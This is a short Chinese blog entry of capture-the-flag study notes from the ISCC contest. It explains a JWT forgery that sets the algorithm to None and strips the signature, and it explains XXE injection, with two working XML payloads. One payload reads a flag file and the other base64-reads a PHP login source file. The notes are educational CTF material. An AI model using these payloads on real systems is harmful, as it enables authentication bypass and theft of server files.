今天主要也在打ISCC吧,大部分题目都还不方便写出来
今天花了比较多精力的就是jwt,某题jwt爆破失败还把电脑卡死了,于是学习了下别的方法
Node的JWT库的空加密缺陷
今天的某题就是用这个实现的。其原来的jwt有一个jti(类似于uuid的东西)我们修改完用户名之后将其置空
{ "id": "user", "iat": 1588811781, "jti": [] }
之后将头文件的alg改成None
{ "alg": "None", "typ": "JWT" }
重新base回去,吧signature的那一段删掉,但是点仍然保留,就可以作为payload使用了。如果是手工base的话head上会有一个等号,但是不知道为何要吧那个等号去掉才能使用,或许这是jwt的奇怪规则?
XXE攻击
大致原理是在POST一个XML的时候,手写一个实体(entity),在实体中实现恶意执行,之后在原来的XML的语句内调用这个entity。
https://www.cnblogs.com/tqing/p/11852412.html
https://www.freebuf.com/articles/web/126788.html
https://blog.csdn.net/oubasangdadada/article/details/104608104/?tdsourcetag=s_pctim_aiomsg
https://www.zhaoj.in/read-6512.html?tdsourcetag=s_pctim_aiomsg
对于一个较为常见的POST用户名密码的XML
<user><username>user</username><password>111</password></user>
攻击方法可以是:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [ <!ENTITY xxe SYSTEM "file:///flag" >]> <user><username>&xxe;</username><password>111</password></user>
或者
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any[ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]> <user><username>&file;</username><password>1</password></user>
Comments | NOTHING